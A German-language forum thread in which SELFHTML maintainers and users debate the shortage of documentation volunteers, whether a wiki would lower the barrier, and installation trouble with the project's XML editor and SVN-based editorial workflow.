    Wir haben schon oft versucht, Leute ins Boot zu holen. Klar, am Anfang scheiterten solche Versuche an den Mangel an redeaktionellen Werkzeugen. Das ist aber schon geraume Weile vorbei. Aber wenn ich jetzt noch lese: "Ein Wiki legt die Hemmschwelle wesentlich niedriger, als der gegenwärtige Aufwand mit der im Moment notwendigen Softwareinstallation und Einarbeitung in das momentane Redaktionssystem." kann ich nur noch mit dem Kopf schütteln.

    Wer sich dafür wirklich interessiert (hat), kann mittlerweile wissen, dass der Aufwand, redaktionell mitzuarbeiten extrem gering ist. Man muss nur eine einzige Software auf seinem rechner installieren. Man muss nichts über Wikisyntax oder diverse Wikidialekte wissen, man muss keine (Wiki oder wie auch immer geartete) Strukturen kennen und erleren. Man kann fast nur noch einfach darauf losschreiben. _Wenn_ man denn will.
    Natürlich erfordert der Umgang mit dem Editor eine Einlernphase, aber das gibt es sehr wohl bei einem Wiki oder sonstigen redaktionellen Tool auch.

    Nein, das Problem ist nicht die redaktionelle Software. Das Problem ist, dass wir zusagen bekommen, die nicht eingehalten werden. Das Problem ist, dass wir zu wenige Menschen haben die schreiben wollen. So können wir auch nicht viel ausrichten und klarerweise, wir es auch immer schwieriger uns gegenseitig zu Motivieren.

    Eine "kleine Hundertschaft" an "Hilfs-Devs" ... *träum*. Ja das wäre wirklich klasse! Aber wo findet man diese kleine Hundertschaft?
    Hier unter den Wiki- und Softwarediskutanten leider nicht.
    An wem soll man Arbeit delegieren, wenn man keine Mitschreiber hat, die wirklich schreiben wollen? Welches Team soll man reorganiseren, wenn man nur wenige hat, die bereits tun was sie können?

    Da wundert mich wirklich nicht, wenn Nutzer der Doku sich fragen ob das Projekt schon gestorben sei.

    Daher mein und unser Aussage zum Thema: wir wollen nicht über die Software diskutieren, auch mit Redakteuren nicht. Was wir brauchen sind Menschen, die zu mehr bereit sind, als zusagen zu geben. Was wir brauchen sind Menschen, die bereit sind ihre Zeit und Wissen mit Redaktionsarbeit zu verknüpfen und tatsächlich am Inhalt von SELFHTML mitarbeiten wollen.

    Grüße
    Thomas

    1. Hallo Thomas,

      --------- Zitat von Stefan --------
      Es wäre noch besser, wenn eine solche offene Diskussion über die Zukunft von SELFHTML dann auch tatsächlich zustande käme.

      Das ist der Punkt.
      Wenn ich den Thead hier im Forum ansehen, weiss ich warum viele der Meinung sind, SELFHTML sei tot.

      Manpower! Menschen die sich für's _Inhalteschreiben_ interessiern.
      Wir haben schon oft versucht, Leute ins Boot zu holen.

      Hmmm ..., ich überlege gerade wo ich bspw. eine solche Anzeige hier oben im Forum oder einen entsprechenden Beitrag im Weblog "übersehen" habe?

      Klar, am Anfang scheiterten solche Versuche an den Mangel an redeaktionellen Werkzeugen. Das ist aber schon geraume Weile vorbei. Aber wenn ich jetzt noch lese: "Ein Wiki legt die Hemmschwelle wesentlich niedriger, als der gegenwärtige Aufwand mit der im Moment notwendigen Softwareinstallation und Einarbeitung in das momentane Redaktionssystem." kann ich nur noch mit dem Kopf schütteln.

      Auch hier muss ich mal in meinem Gedächtnis kramen, wo darüber berichtet wurde ...!

      Wer sich dafür wirklich interessiert (hat), kann mittlerweile wissen, dass der Aufwand, redaktionell mitzuarbeiten extrem gering ist.

      Na ja, so kann man es natürlich auch sehen. Ich sehe es eher so, dass man aktiv an die Community herantreten sollte, wenn man etwas von den Usern möchte, als darauf zu warten, dass sich evt. mal ein Interessierter meldet.

      Man muss nur eine einzige Software auf seinem rechner installieren. Man muss nichts über Wikisyntax oder diverse Wikidialekte wissen, man muss keine (Wiki oder wie auch immer geartete) Strukturen kennen und erleren. Man kann fast nur noch einfach darauf losschreiben. _Wenn_ man denn will.

      Das ist sicherlich sehr positiv.
      Ich kann mich aber auch noch dunkel an zumindest eine Diskussion erinnern, wo es um die "Angst vor Verriss" durch die Community ging im Zusammenhang nach der Suche für Autoren von Artikeln.

      Und ich könnte mir sehr gut vorstellen, dass das auch viele im Bezug auf die Doku (oder sonstige Dokumente) abhält, sich aktiv zu beteiligen.

      Hierzu wären zumindest auch weitere Infos (sorry, ich weiß wirklich nicht, wo man die finden könnte) hilfreich, wie das dann aussehen könnte.

      Eventuell fänden sich ja auch kleinere Teams zusammen, oder Inhalte könnten vorher abgeklärt werden.

      Nein, das Problem ist nicht die redaktionelle Software. Das Problem ist, dass wir zusagen bekommen, die nicht eingehalten werden. Das Problem ist, dass wir zu wenige Menschen haben die schreiben wollen. So können wir auch nicht viel ausrichten und klarerweise, wir es auch immer schwieriger uns gegenseitig zu Motivieren.

      Kann ich alles verstehen. Nur sollte man dann ggf. auch mal nach den Gründen dafür suchen, um diese soweit möglich zu beseitigen.
      Der "Vorwurf" der mangelnden Transparenz und Kommunikation nach außen ist ja nicht so ganz neu (wenn ich mich recht erinnere).

      Eine "kleine Hundertschaft" an "Hilfs-Devs" ... *träum*. Ja das wäre wirklich klasse! Aber wo findet man diese kleine Hundertschaft?
      Hier unter den Wiki- und Softwarediskutanten leider nicht.
      An wem soll man Arbeit delegieren, wenn man keine Mitschreiber hat, die wirklich schreiben wollen? Welches Team soll man reorganiseren, wenn man nur wenige hat, die bereits tun was sie können?

      Ein alt bekanntes Problem: Ein Haufen Häuptlinge ohne Indianer nutzt nicht viel.

      Da wundert mich wirklich nicht, wenn Nutzer der Doku sich fragen ob das Projekt schon gestorben sei.

      ACK

      Daher mein und unser Aussage zum Thema: wir wollen nicht über die Software diskutieren, auch mit Redakteuren nicht. Was wir brauchen sind Menschen, die zu mehr bereit sind, als zusagen zu geben. Was wir brauchen sind Menschen, die bereit sind ihre Zeit und Wissen mit Redaktionsarbeit zu verknüpfen und tatsächlich am Inhalt von SELFHTML mitarbeiten wollen.

      Eine Art "Stellenanzeige/ Stellenausschreibung" mit allen relevanten Informationen (insbesondere Informations- und Kontaktadressen) wäre bestimmt ein erster Schritt in eine produktivere Zukunft.

      Gruß Gunther

      1. Moin,

        Der "Vorwurf" der mangelnden Transparenz und Kommunikation nach außen ist ja nicht so ganz neu (wenn ich mich recht erinnere).

        https://redaktion.selfhtml.org/wiki/SDML
        https://redaktion.selfhtml.org/wiki/SDMLAddon
        https://redaktion.selfhtml.org/wiki/SDML/Referenz
        https://redaktion.selfhtml.org/wiki/SDMLAddon/EditorBedienen
        https://redaktion.selfhtml.org/wiki/Technik

        Eine Art "Stellenanzeige/ Stellenausschreibung" mit allen relevanten Informationen (insbesondere Informations- und Kontaktadressen) wäre bestimmt ein erster Schritt in eine produktivere Zukunft.

        https://redaktion.selfhtml.org/

        File Griese,

        Stonie

        P. S.: Ich hatte noch viel, viel mehr geschrieben und es dann meinem Mann zu lesen gegeben. Der meinte, der Text klinge arg verbittert. Er klang nicht nur so, ich bin inzwischen auch einigermaßen verbittert. Aber das will ich jetzt nicht an euch auslassen, deswegen habe ich nur die wichtigsten Links gelassen. Wenn sich jemand meldet, der wirklich mitarbeiten will, freuen wir uns riesig. :o)

        --
        It's no good you trying to sit on the fence
        And hope that the trouble will pass
        'Cause sitting on fences can make you a pain in the ass.
        Und im Übrigen kennt auch Stonie Wayne.
        1. habe d'ehre Astrid

          https://redaktion.selfhtml.org/

          Du denkst wirklich, dieser Satz "Wer daran mitwirken möchte:" ist so etwas wie eine "Stellenanzeige"? Oh je, Astrid, wenn der Prophet nicht zum Berg kommt, kommt der Berg zum Propheten. Wenn es an Manpower mangelt, jagt doch mal einen Artikel im Weblog raus, macht den Link über Twitter bekannt, Trackbacks kommen ja von selber. Aber erwartet bitte nicht, dass ihr neue Leute über das Forum oder SElfAktuell findet. Geht halt dann mal aktiv auf die Leute zu, die Kommunikation funktioniert nicht mehr so, dass man auf seinem Projekt sitzt und wartet.

          P. S.: Ich hatte noch viel, viel mehr geschrieben und es dann meinem Mann zu lesen gegeben. Der meinte, der Text klinge arg verbittert. Er klang nicht nur so, ich bin inzwischen auch einigermaßen verbittert.

          Bei allem Respekt, ich sehe in dem Thread nichts, worüber man verbittert sein sollte. Ok, manche legen den Finger in die Wunde, tut vielleicht kurz weh, aber sterben tut man davon nicht. Weder hier, noch im "Thread" von FB wurde irgendwie auf Euch eingedroschen oder sonst was. Ich sehe wirklich keinen Grund zur Verbitterung.

          Servus
          Wilhelm

        2. [latex]Mae  govannen![/latex]

          Der "Vorwurf" der mangelnden Transparenz und Kommunikation nach außen ist ja nicht so ganz neu (wenn ich mich recht erinnere).

          https://redaktion.selfhtml.org/wiki/SDML
          https://redaktion.selfhtml.org/wiki/SDMLAddon
          https://redaktion.selfhtml.org/wiki/SDML/Referenz
          https://redaktion.selfhtml.org/wiki/SDMLAddon/EditorBedienen
          https://redaktion.selfhtml.org/wiki/Technik

          Besser konntest du die Richtigkeit des oben stehenden Satzes wirklich nicht bestätigen. Ein paar Links hinknallen und gut ist?

          Eine Art "Stellenanzeige/ Stellenausschreibung" mit allen relevanten Informationen (insbesondere Informations- und Kontaktadressen) wäre bestimmt ein erster Schritt in eine produktivere Zukunft.

          https://redaktion.selfhtml.org/

          Das soll jetzt ein Scherz sein, oder? Felix hat ganz offensichtlich recht mit dem Elfenbeinturm. Einen Redaktionsbereich zu schaffen, dort aber nicht einmal explizit zu schreiben "Leute, wir brauchen Hilfe" und sich dann zurückzulehnen und zu jammern "Aber es kommt doch niemand" _kann_ nur ein Scherz sein. Das entspricht der Firma, die neue Mitarbeiter sucht, die Stellenausschreibung aber nur am schwarzen Brett der Kantine in der eigenen Firma anbringt.

          P. S.: Ich hatte noch viel, viel mehr geschrieben und es dann meinem Mann zu lesen gegeben. Der meinte, der Text klinge arg verbittert. Er klang nicht nur so, ich bin inzwischen auch einigermaßen verbittert. Aber das will ich jetzt nicht an euch auslassen, deswegen habe ich nur die wichtigsten Links gelassen.

          Dies ist nicht das erste Mal, daß - insbesondere deinerseits - auf (berechtigte) Kritik seitens der Nutzerschaft direkt "verbittert" reagiert wird.
          Das sehe ich als einen wesentlichen Teil des Problems an. Ihr erwartet offensichtlich, daß die Leute, die sich einbringen wollen, auf Knien zu euch hingerutscht kommen und euch anflehen, helfen zu dürfen, andererseits darf man offensichtliche mißstände nicht ansprechen. Jedenfalls ist es nicht das erste Mal, daß ich bei Diskussionen zum Thema "SelfHTML interna" diesen Eindruck habe. Keine Ahnung, ob es nur mir so geht, aber wenn nciht, wundere ich mich nicht, daß sich nicht wirklich jemand findet, der das mitmachen möchte. Von den völlig überzogenen Anforderungen im Bereich Technik (Wilhelm, Felix) ganz zu schweigen.

          Cü,

          Kai

          --
          Even if you are a master of jQuery, you can only create mediocre (at best)
          scripts. The problem is that the authors you rely on have not mastered the
          DOM themselves. It's like one blind guy leading another off a cliff (D.Mark/clj)
          Foren-Stylesheet Site Selfzeug JS-Lookup
          SelfCode: sh:( fo:| ch:? rl:( br:< n4:( ie:{ mo:| va:) js:| de:> zu:) fl:( ss:| ls:?
          1. Hallöle!

            Besser konntest du die Richtigkeit des oben stehenden Satzes wirklich nicht bestätigen. Ein paar Links hinknallen und gut ist?

            Die Links sind das einzige, was vom ursprünglichen Posting noch übrig war. Und ich habe sie stehen gelassen, um zu zeigen, dass die als nicht vorhanden angemahnte Information durchaus vorhanden ist. Mehr als informieren können wir nicht.

            File Griese,

            Stonie

            --
            It's no good you trying to sit on the fence
            And hope that the trouble will pass
            'Cause sitting on fences can make you a pain in the ass.
            Und im Übrigen kennt auch Stonie Wayne.
          2. Hallo,

            Das sehe ich als einen wesentlichen Teil des Problems an. Ihr erwartet offensichtlich, daß die Leute, die sich einbringen wollen, auf Knien zu euch hingerutscht kommen und euch anflehen, helfen zu dürfen, andererseits darf man offensichtliche mißstände nicht ansprechen.

            Das ist falsch.
            Warum betrachtest du nicht genau was hier passiert?
            Es gibt 3 oder 4 Stimmen, die jetzt für ein Wiki argumentieren und alles andere als §bähhh ... das ist unmöglich" bezeichnen.
            Du irrst dich, wenn du denkst, dass wir diese Stimmen ignorieren (sonst hätte ich gar nicht darauf reagiert). Aber ich "kennen" diese Stimmen seit vielen Jahren hier und gerade deshalb bohre ich überall nach und stelle ihre Argumente in Frage.

            Von den völlig überzogenen Anforderungen im Bereich Technik (Wilhelm, Felix) ganz zu schweigen.

            Also hat du auch versucht den Editor zu installieren bzw. warst beim Versuch anwesend? Ein "habe unterwegs aufgegeben" beduetet für mich eben: »ich habe es in der S-Bahn (U-Bahn, Zug, Bus, in der Warteschlage bei der Kassa) versucht, in der Zeit ging es nicht.« Daher ist muss es für jederman logisch sein, dass es vollkommen überzogene Anfroderungen sind?

            Warum bist du denn der Meinung, dass es völlig überzogene Anforderungen sind?

            Wilhelm ist der einzige der mit einem kleinen "aber", aber dennoch Recht hat, was die installation angeht.

            Grüße
            Thomas

            1. [latex]Mae  govannen![/latex]

              Das sehe ich als einen wesentlichen Teil des Problems an. Ihr erwartet offensichtlich, daß die Leute, die sich einbringen wollen, auf Knien zu euch hingerutscht kommen und euch anflehen, helfen zu dürfen, andererseits darf man offensichtliche mißstände nicht ansprechen.

              Das ist falsch.
              Warum betrachtest du nicht genau was hier passiert?
              Es gibt 3 oder 4 Stimmen, die jetzt für ein Wiki argumentieren und alles andere als §bähhh ... das ist unmöglich" bezeichnen.
              Du irrst dich, wenn du denkst, dass wir diese Stimmen ignorieren (sonst hätte ich gar nicht darauf reagiert). Aber ich "kennen" diese Stimmen seit vielen Jahren hier und gerade deshalb bohre ich überall nach und stelle ihre Argumente in Frage.

              Die obige Antwort bezog sich nicht auf die aktuelle Wiki JA/NEIN-Situation, ich persönlich mag Wikis nicht einmal sonderlich und weiß nicht, ob sie nun "Die Lösung" wären. Dazu würde ich mich näher mit dem Thema befassen müssen. Die Mediawiki-Bedienung (in Wikipedia) hat mir jedenfalls absolut nicht zugesagt. gendeiner Weise Kritik aufkommt, wird recht schnell mit Unmut bis zu Verbitterung reagiert. Zumindest ist dies mein subjektiver Eindruck.

              Von den völlig überzogenen Anforderungen im Bereich Technik (Wilhelm, Felix) ganz zu schweigen.

              Also hat du auch versucht den Editor zu installieren [...]?

              Allerdings, dies jedoch schon vor längerer Zeit. Ich wollte es einfach mal aus Neugierde testen. Nur habe ich da auch recht schnell Abstand von genommen, weil ich mich dazu erst mit SVN auseinandersetzen mußte (genauer gesagt: Bei Null anfangen) und entweder dabei oder beim Editor hatte ich bereits irgendwelche für mich nicht trivial lösbaren Probleme (was genau weiß ich nicht mehr, ist wie gesagt schon länger her (weit über ein Jahr), die mich dann dazu gebracht haben, es nicht weiter zu versuchen. Zugegeben, allzu tief hab ich mich nicht reingestürzt, vielleicht war es nur eine Kleinigkeit und irgendwann hätte ich es gewiß hinbekommen, aber wenn schon die Installation nicht so trivial ist, daß es wirklich (fast) immer problemlos funktioniert, ist die Hürde bereits hier viel zu hoch.

              Warum bist du denn der Meinung, dass es völlig überzogene Anforderungen sind?

              Wenn sowohl Felix, Wilhelm wie auch ich nicht _auf Anhieb_ eine funktionstüchtige Installation hinbekommen, wie sollen dann erst technisch wenig bis kaum bewanderte Nutzer damit zurechtkommen? Damit reduziert man die Menge der potentiellen Helfer auf diejenigen, die technische Kenntnisse haben, dies müssen aber nicht diejenigen sein, die brauchbare Artikel schreiben (könn[t]en)

              Cü,

              Kai

              --
              Even if you are a master of jQuery, you can only create mediocre (at best)
              scripts. The problem is that the authors you rely on have not mastered the
              DOM themselves. It's like one blind guy leading another off a cliff (D.Mark/clj)
              Foren-Stylesheet Site Selfzeug JS-Lookup
              SelfCode: sh:( fo:| ch:? rl:( br:< n4:( ie:{ mo:| va:) js:| de:> zu:) fl:( ss:| ls:?
              1. Hallo,

                Wenn sowohl Felix,

                Ihm unterstelle ich den Unwillen dazu.

                Wilhelm wie auch ich nicht _auf Anhieb_ eine funktionstüchtige Installation hinbekommen,

                Dass er recht hat, habe ich schon gesagt.
                Ist dir aufgefallen, dass es noch kein einziger "ich habe es auf Mac so und so installiert: .... " Antwort auf meine Nachfrage kam?

                » wie sollen dann erst technisch wenig bis kaum bewanderte Nutzer damit zurechtkommen?

                Ich habe eine Antwort schon zitiert, aber es gab andere die auch schon gesagt haben, dass sie mit dem Editor ziemlich gut klarkommen.

                Damit reduziert man die Menge der potentiellen Helfer auf diejenigen, die technische Kenntnisse haben, dies müssen aber nicht diejenigen sein, die brauchbare Artikel schreiben (könn[t]en)

                Wenn man hier nur Felix Posting liest, entsteht klar dieser Eindruck. Deshalb habe ich auch eine andere Erfahrung zitiert.

                Ich kann schon jetzt sagen, dass auch wenn wir einen weiteren Wiki-Versuch starten, spätestens nach dem 10. Änderung der Wunsch geäußert wird, nicht jeden schreiben/ändern bzw. neue Seiten/Links/Bilder etc. anlegen zu lassen. Dann gibts wieder Login und Gruppen und so weiter und so fort. Das ist auch eine Hürde.

                Ich sehe auch den Unterschied zwischen für die Erklärung der Wiki-Syntax auf eine Webseite zu verlinken und für die Bedinung des Editors auf eine Webseite zu verlinken, nicht.

                Bist du nicht auch der Meinung, dass wenn viele es versuchen würden den Editor zu installieren und zu nutzen und über ihre Erfahrungen/Probleme hier berichten würde, eine Verbesserung eintreten könnten, weil nur bekannten Probleme behoben werden können?

                Muss ich jetzt wirklich darauf Hinweisen - gerade was Felix's Posting angeht - dass ein Satz: "Es funktioniert nicht." keine Problembeschreibung ist?

                Grüße
                Thomas

                1. habe d'ehre Thomas

                  Ist dir aufgefallen, dass es noch kein einziger "ich habe es auf Mac so und so installiert: .... " Antwort auf meine Nachfrage kam?

                  Da jetzt eine gewisse Sachlichkeit einkehrt: Morgen bin ich zwar nicht daheim, aber am Montag installiere ich den Kram noch mal. Dann schreib ich ein Feedback (oder todo), auch mit Screenshots.

                  Servus
                  Wilhelm

                  1. Moin!

                    Da jetzt eine gewisse Sachlichkeit einkehrt: Morgen bin ich zwar nicht daheim, aber am Montag installiere ich den Kram noch mal. Dann schreib ich ein Feedback (oder todo), auch mit Screenshots.

                    Danke, Wilhelm!

                    - Sven Rautenberg

                2. [latex]Mae  govannen![/latex]

                  Ich kann schon jetzt sagen, dass auch wenn wir einen weiteren Wiki-Versuch starten, spätestens nach dem 10. Änderung der Wunsch geäußert wird, nicht jeden schreiben/ändern bzw. neue Seiten/Links/Bilder etc. anlegen zu lassen. Dann gibts wieder Login und Gruppen und so weiter und so fort. Das ist auch eine Hürde.

                  Wie gesagt, ich bin nicht unbedingt für ein Wiki. Aber wenn: Ein _nicht_ für jeden offenes System wäre meines Erachtens ohnehin Voraussetzung. Ein größeres Problem der Wikipedia ist ja z.B. daß dort jeder schreiben kann und die Texte eines Fachmannes von jedem Laien mit dessen Auffassung überschreiben werden können. Ich prognostiziere schon mal Edit-Wars bezüglich Tabellen-Layouts und "CSS-Hacks" vs. "Conditional Comments" ;)

                  Für ein Wiki wäre dann "Jeder darf schreiben, aber als Artikel erscheint es erst nach Kontrolle" angebracht.

                  Was mir sympathisch erscheinen würde, wäre kein starres Format, in welchem die Artikel eingeliefert werden.  Wenn jemand einen guten Artikel einfach als Plain-Text schreiben möchte soll er das tun können. Dann kann daraus immer noch SDML erzeugt werden. Natürlich ist das Arbeit, aber damit wäre zumindest der Artikelinhalt vorhanden und man muß sich "nur noch" um Format und technische Infos fürs System kümmern. Oder auch als (ein ggf. eingeschränktes Subset von) HTML. Damit hätte man hier bereits drei mögliche Text-Formate, von denen Zwei von Jedem ohne besondere Software erstellt werden können, nur ein Editor ist nötig. Besser als gar nichts tun ist es auf jeden Fall.

                  Würde natürlich die Bereitschaft voraussetzen, daß auch jemand bereit ist, Texte entsprechend umzuwandeln.

                  Bist du nicht auch der Meinung, dass wenn viele es versuchen würden den Editor zu installieren und zu nutzen und über ihre Erfahrungen/Probleme hier berichten würde, eine Verbesserung eintreten könnten, weil nur bekannten Probleme behoben werden können?

                  Das auf jeden Fall. Wenn ich fachlich in der Lage wäre, etwas zu SelfHTML beizusteuern, würde ich mir sogar nochmal die Mühe machen, das alles zu installieren und bei Problemen auch hier nachfragen. Da dies nicht der Fall ist und ich zur Zeit auch ganz andere Probleme habe, kann ich hier höchstens ein "vielleicht, irgendwann mal" einwerfen.

                  Muss ich jetzt wirklich darauf Hinweisen - gerade was Felix's Posting angeht - dass ein Satz: "Es funktioniert nicht." keine Problembeschreibung ist?

                  Das habe ich noch nie zuvor gehört *g*

                  Cü,

                  Kai

                  --
                  Even if you are a master of jQuery, you can only create mediocre (at best)
                  scripts. The problem is that the authors you rely on have not mastered the
                  DOM themselves. It's like one blind guy leading another off a cliff (D.Mark/clj)
                  Foren-Stylesheet Site Selfzeug JS-Lookup
                  SelfCode: sh:( fo:| ch:? rl:( br:< n4:( ie:{ mo:| va:) js:| de:> zu:) fl:( ss:| ls:?
                  1. Das auf jeden Fall. Wenn ich fachlich in der Lage wäre, etwas zu SelfHTML beizusteuern, würde ich mir sogar nochmal die Mühe machen, das alles zu installieren und bei Problemen auch hier nachfragen.

                    Man muss nichtmal fachlich in der Lage dazu sein - es reicht wenn man Kleinigkeiten korrigiert die hier im Forum immer wieder genannt werden, weil sie in den Artikeln einfach fehlt.

                    In <http://de.selfhtml.org/html/grafiken/einbinden.htm@title=Grafiken einbinden> steht z.B. "Für Grafikreferenzen gibt es in HTML das <img>-Tag (img = image = Bild, src = source = Quelle). Es handelt sich um ein Standalone-Tag ohne Elementinhalt und ohne End-Tag."

                    Es wäre mit einer ordentlichen Webanwendung mit Frontend-Editing ein leichtes dies zu ändern.

                    Das dauert keine 5 Minuten und sieht dann so aus:

                    Für Grafikreferenzen gibt es in HTML das <img>-Element (img = image; engl. 'Bild'). Es handelt sich dabei um ein leeres Element (mit Link auf Empty Element).

    2. Man muss nur eine einzige Software auf seinem rechner installieren.

      Wo kann ich unterschreiben? Welche Software wäre das? Was kann ich schreiben? Ich melde mich freiwillig zu einem Artikel über das p-Element ;)

      Was wir brauchen sind Menschen, die bereit sind ihre Zeit und Wissen mit Redaktionsarbeit zu verknüpfen und tatsächlich am Inhalt von SELFHTML mitarbeiten wollen.

      Das hat aber bis jetzt nie jemand gesagt.

      1. Man muss nur eine einzige Software auf seinem rechner installieren.

        Wo kann ich unterschreiben? Welche Software wäre das? Was kann ich schreiben? Ich melde mich freiwillig zu einem Artikel über das p-Element ;)

        https://redaktion.selfhtml.org/
        https://redaktion.selfhtml.org/wiki/SDMLAddon

        Das hat aber bis jetzt nie jemand gesagt.

        Doch, das haben wir immer wieder gesagt, aber ebenso immer wieder ging es unter in der "es mus ein wiki her"-Diskussion.

        Grüße
        Thomas

        1. Doch, das haben wir immer wieder gesagt, aber ebenso immer wieder ging es unter in der "es mus ein wiki her"-Diskussion.

          möglicherweise - aber bisher hat mir noch niemand vernünftig erklären können, dass an diesem Redaktionssystem so einfach sein soll.

          Ernsthaft, die einarbeitungszeit um in MediaWiki einen rechtschreibfehler korrigieren zu können beträgt etwa 5 Minunten. Beim System von SELFHTML muss man erste einen ewig langen Schlauch durchlesen, ich muss mir eine Software installieren und muss mich da ernsthaft einarbeiten.

          Es wird einfach viel Potential verschenkt.

          Ich versuche mich mal in dieses System einzuarbeiten, aber ihr denkt doch nicht ernsthaft, so eine hohe Einstiegshürde würde Leute anlocken?

    3. habe d'ehre Thomas

      Aber wenn ich jetzt noch lese: "Ein Wiki legt die Hemmschwelle wesentlich niedriger, als der gegenwärtige Aufwand mit der im Moment notwendigen Softwareinstallation und Einarbeitung in das momentane Redaktionssystem." kann ich nur noch mit dem Kopf schütteln.

      Tja, dann schüttel mal schon den Kopf. Ich fühle mich damit schlichtweg überfordert. Habe mir das Teil geladen (OS X-Version), schön brav in den Programmordner verschoben, TRAC-Hilfeseite aufgerufen und die Installations-Vorgaben abgearbeitet. Nun gibt es den schönen Punkt "Konfiguration anpassen" für die Datei "sdml_catalog.xml", welche angeblich unter /Users/wilhelm/.xxe/addon/sdml zu finden sein sollte. Schön in der Theorie, schlecht in der Praxis, ein verstecktes Verzeichnis "..xxe" existiert schlichtweg nicht. Und nun bin ich als interessierter Schreiberling schon am Punkt: Wühle ich jetzt meine ganze Platte durch (hab ich getan und nicht gefunden) oder ziehe ich den Ordner vom Editor gleich wieder in den Papierkorb. Ach ja, Dein Add-On erscheint als installiert.

      Ok, der geneigte Laie versucht halt jetzt mal eine XML-Datei aus dem lokalen SVN zu öffnen. Pustekuchen, kann nicht geöffnet werden. Spätestens jetzt IST der Papierkorb die einzig seligmachende Alternative.

      Ja, die Hemmschwelle bei einem Wiki ist niedriger, vor allem wenn man sich noch die weiteren Hilfeseiten des Editors zu Gemüte führt. Für Wiki findet man im Netz Quellen zur Hilfe, kann einen Freund mal schnell für nachfragen belabern. Bei diesem Editor und seinem sehr speziellen Einsatz? niente.

      Dir, als Entwickler von Add-Ons dieses Teiles mag die Bedienung des Editors flüssig von der Hand gehen, aber übertrage dies bitte nicht auf die Allgemeinheit. Ein leicht spöttischer Ton wie oben ist da nicht wirklich angebracht.

      Wer sich dafür wirklich interessiert (hat), kann mittlerweile wissen, dass der Aufwand, redaktionell mitzuarbeiten extrem gering ist. Man muss nur eine einzige Software auf seinem rechner installieren.

      plus SVN etc.

      Nun gut, ich werde am Wochenende weiter rumprobieren, aber vielleicht liegt auch irgendwo ein Fehler in der Beschreibung, war bei der Installation vom SVN nämlich auch der Fall. Aber lass Dir gesagt sein, andere Interessierte würden sich jetzt schon wieder anderen Dingen widmen.

      Servus
      Wilhelm

      1. Hallo Wilhelm,

        Aber wenn ich jetzt noch lese: "Ein Wiki legt die Hemmschwelle wesentlich niedriger, als der gegenwärtige Aufwand mit der im Moment notwendigen Softwareinstallation und Einarbeitung in das momentane Redaktionssystem." kann ich nur noch mit dem Kopf schütteln.

        Tja, dann schüttel mal schon den Kopf. Ich fühle mich damit schlichtweg überfordert. Habe mir das Teil geladen (OS X-Version), schön brav in den Programmordner verschoben, TRAC-Hilfeseite aufgerufen und die Installations-Vorgaben abgearbeitet. Nun gibt es den schönen Punkt "Konfiguration anpassen" für die Datei "sdml_catalog.xml", welche angeblich unter /Users/wilhelm/.xxe/addon/sdml zu finden sein sollte.

        Leider habe ich keinen Mac und testen der Installation auf dem Mac ist eine der Versprechen, der auch nciht erfüllt würde.
        Daher kann ich Mac-User nur den Link: http://www.xmlmind.com/xmleditor/_distrib/doc/user/install.html#content_of_install_dir geben.

        Dir, als Entwickler von Add-Ons dieses Teiles mag die Bedienung des Editors flüssig von der Hand gehen, aber übertrage dies bitte nicht auf die Allgemeinheit. Ein leicht spöttischer Ton wie oben ist da nicht wirklich angebracht.

        Mein Ton war keineswegs spöttisch (beabsichtigt).
        Als Entwickler des Addons habe ich auch erst sehr sehr viele Sachen gemerkt (und dann dazuentwickelt) als ich angefangen Habe das XML-Kapteil zu übertragen. Sprich als ich selbst angefangen habe mit dem Editor als Redakteur zu arbeiten.

        Wer sich dafür wirklich interessiert (hat), kann mittlerweile wissen, dass der Aufwand, redaktionell mitzuarbeiten extrem gering ist. Man muss nur eine einzige Software auf seinem rechner installieren.

        plus SVN etc.

        Der Checkout aus dem SVN ist nicht wirklich zwingend Notwendig. Es gibt Templates im Editor, die es ermöglichen auch ohne SVN-Checkout etwas zu schreiben. Dann muss derjenig aber die erstellten XML-Dateien per Mail an uns zum Einpflegen zusenden. Aber das dürft doch auch nicht das wirkliche Problem sein.

        Nun gut, ich werde am Wochenende weiter rumprobieren, aber vielleicht liegt auch irgendwo ein Fehler in der Beschreibung, war bei der Installation vom SVN nämlich auch der Fall. Aber lass Dir gesagt sein, andere Interessierte würden sich jetzt schon wieder anderen Dingen widmen.

        Wie gesagt, hätte ich einen Mac, hätte ich die Anleitung genu beschrieben können. Aktuell hast du sicherlich recht, dass sie nicht mehr am Stand der Zeit ist, denn der letze der mit Mac getestet hat, war noch Orlando und seit dem hat sich am Editor selbst einiges geändert.

        Wenn jemand mit dem Mac die installation macht und eine Beschreibung hier reinstellt, korrigiere ich gerne die Doku dazu.

        Grüße
        Thomas

        1. Der Checkout aus dem SVN ist nicht wirklich zwingend Notwendig. Es gibt Templates im Editor, die es ermöglichen auch ohne SVN-Checkout etwas zu schreiben. Dann muss derjenig aber die erstellten XML-Dateien per Mail an uns zum Einpflegen zusenden.

          Den nächsten Satz muss ich nochmal freistellen:

          Aber das dürft doch auch nicht das wirkliche Problem sein.

          EPIC FAIL - mehr fällt mir dazu nicht ein.

          Das ist jetzt absichtlich spöttisch - ich kommentiere das jetzt auch nicht weiter, wenn dir nicht selbst klar wird, dass so ein vorgehen in der heutigen Zeit etwas "antik" ist.

          Ja, es gibt auch heute noch leute die PBEM-Schach spielen, aber die sind meistens nur zu zweit. Sobald die Teilnehmerschaft größer wird, scheitert dieses System.

          1. Hallo,

            Den nächsten Satz muss ich nochmal freistellen:

            Aber das dürft doch auch nicht das wirkliche Problem sein.

            EPIC FAIL - mehr fällt mir dazu nicht ein.

            Deine Chance mir genau das zu beweisen ist da:
            http://aktuell.de.selfhtml.org/weblog/ist-selfhtml-tot

            Grüße
            Thomas

            1. Lieber Thomas,

              EPIC FAIL - mehr fällt mir dazu nicht ein.

              Deine Chance mir genau das zu beweisen ist da:
              http://aktuell.de.selfhtml.org/weblog/ist-selfhtml-tot

              habe den Artikel gelesen und bin sehr hoffnungsfroh! Stefan Münz hat zwar schon ein Wiki eingerichtet, um einfach einmal diesen Beweis abzuwarten, jedoch sehe ich die in Deinem Artikel angesprochenen Aspekte der Fehler des letzten Wiki-Versuchs, die es natürlich bei einem neuen Anlauf zu vermeiden gilt. Daher habe ich in meinem Kommentar zu Deinem Artikel auch auf Collaboration-Sites wie sie z.B. wetpaint.com anbietet angesprochen. Mal sehen, wie eine neue Mitmachseite für die Doku aussehen wird.

              Liebe Grüße,

              Felix Riesterer.

              --
              ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
            2. Deine Chance mir genau das zu beweisen ist da:
              http://aktuell.de.selfhtml.org/weblog/ist-selfhtml-tot

